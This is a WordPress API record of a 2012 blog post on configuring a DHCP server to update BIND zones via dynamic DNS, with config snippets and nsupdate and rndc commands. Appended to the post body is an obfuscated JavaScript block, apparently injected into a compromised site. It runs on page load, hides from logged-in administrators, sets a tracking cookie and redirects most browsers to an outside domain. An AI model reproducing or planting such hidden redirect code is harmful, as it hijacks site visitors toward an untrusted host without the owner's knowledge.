{"id":308,"date":"2012-03-12T14:13:21","date_gmt":"2012-03-12T06:13:21","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=308"},"modified":"2012-03-13T16:43:43","modified_gmt":"2012-03-13T08:43:43","slug":"dhcp-dns","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/03\/12\/dhcp-dns\/","title":{"rendered":"DHCP &#038; DNS"},"content":{"rendered":"<p>Setting up a LAN with a DHCP server with dynamic DNS update.<br \/>\n<!--more--><br \/>\nOS: Slackware 13.37<\/p>\n<h1>Secret key generation<\/h1>\n<p>A shared secret key is required to allow DHCP server updating zones file in DNS.  To create the shared secret key, following command could be use:<\/p>\n<pre>\r\ndnssec-keygen -a HMAC-MD5 -b 128 -n USER DHCP_UPDATER\r\n<\/pre>\n<p>After executing the command, a pair of key &#038; private file will be created, you could get the shared secret in the key field of the private file.<\/p>\n<p>Then you should, include the key in both <strong>\/etc\/dhcpd.conf<\/strong> &#038; <strong>\/etc\/named.conf<\/strong>, e.g.,<\/p>\n<pre>\r\nkey DHCP_UPDATER {\r\n         algorithm HMAC-MD5;\r\n         secret vUz0B3SSCPYfWTczJnW4Sw==;\r\n};\r\n<\/pre>\n<h1>DNS configuation<\/h1>\n<p>Suppose your domain in well setup in the DNS, you should allow DHCP to update the zone files, forward and reverse, if the request is send with the above keys.<br \/>\n<strong>\/etc\/named.conf<\/strong><\/p>\n<pre>\r\nzone \"int.q-station.net\" IN {\r\n  type master;\r\n  file \"domain\/int.q-station.net\";\r\n  allow-update { key DHCP_UPDATER; };\r\n};\r\n        \r\nzone \"55.168.192.in-addr.arpa\" IN {\r\n  type master;\r\n  file \"in-addr\/55.168.192.in-addr.arpa\";\r\n  allow-update { key DHCP_UPDATER; };\r\n};\r\n<\/pre>\n<h1>DHCP server configuration<\/h1>\n<p>You should setup your DHCP server to update the DNS, too.<br \/>\n<strong>\/etc\/named.conf<\/strong><\/p>\n<pre>\r\nddns-updates                on;    # required\r\nddns-update-style           interim; # required\r\nddns-domainname             \"int.q-station.net.\"; # put your domain here\r\nddns-rev-domainname         \"in-addr.arpa.\"; # this value should be fine for all ppl\r\n# optional options below\r\none-lease-per-client    on;\r\ndeny                    client-updates;\r\nupdate-optimization     false;\r\nuse-host-decl-names     on;\r\nddns-ttl 60;\r\n\r\n# tell DHCP server where & what should be update\r\nzone int.q-station.net. {\r\n         primary 192.168.1.1;\r\n         key DHCP_UPDATER;\r\n}\r\n\r\nzone 55.168.192.in-addr.arpa. {\r\n         primary 192.168.1.1;\r\n         key DHCP_UPDATER;\r\n}\r\n<\/pre>\n<p>When any dhcp client register itself by providing the hostname, the dhcp server will use the provided hostname to update the record in DNS.<\/p>\n<h1>Testing the DNS update<\/h1>\n<p>You may using <strong>nsupdate<\/strong> to test DNS update operation, e.g.,<\/p>\n<pre>\r\n% nsupdate -v -k \/tmp\/Kdhcp_updater.+157+19919.key    \r\n&gt; update add testhost.int.q-station.net 120 A 192.168.55.31\r\n&gt; send\r\n\r\nOr\r\n\r\n&gt; update delete testhost.int.q-station.net A\r\n&gt; send\r\n<\/pre>\n<h1>Note for MacOS X client<\/h1>\n<p>The last note for MacOS X client:  It seem MacOS won&#8217;t send out DHCPREQUEST with hostname instead MacOS X seem to accept the hostname from DHCP server and use it as hostname.  So, you may include a host configuration for Mac machine, e.g.,<\/p>\n<pre>\r\nhost macosx1 {\r\n    hardware ethernet 08:00:27:05:00:00;\r\n    option host-name \"macosx1\";\r\n    ddns-hostname \"macosx1\";\r\n}\r\n<\/pre>\n<h1>Delete DNS record on release or expiry<\/h1>\n<p>As the default installation, DHCP server won&#8217;t remove the records in DNS if the host release the IP or the registration is expired.  In order to implement the removal of expired or released record, I suggest you may study the <strong>on event<\/strong> reference in dhcpd.conf man page.<\/p>\n<pre>\r\non release or expiry {\r\n  log(debug,ddns-fwd-name);\r\n  # execute some nsupdate script to remove the corresponding record\r\n}\r\n<\/pre>\n<h1>Updating dynamic update zone file<\/h1>\n<p>You may not directly update the zone file which dynamic update enabled, since the *.jnl file of the zone may overwritten your modification.  The correct procedure to update dynamic update zone, should,<\/p>\n<pre>\r\n% rndc freeze &lt;zone&gt;\r\n(The journal file will be committed and get remove.)\r\nupdate the zone file now\r\n% rndc thaw &lt;zone&gt;\r\n<\/pre>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Setting up a LAN with a DHCP server with dynamic DNS update.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[27,8],"tags":[50,51],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/308"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=308"}],"version-history":[{"count":16,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/308\/revisions"}],"predecessor-version":[{"id":326,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/308\/revisions\/326"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=308"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=308"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=308"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}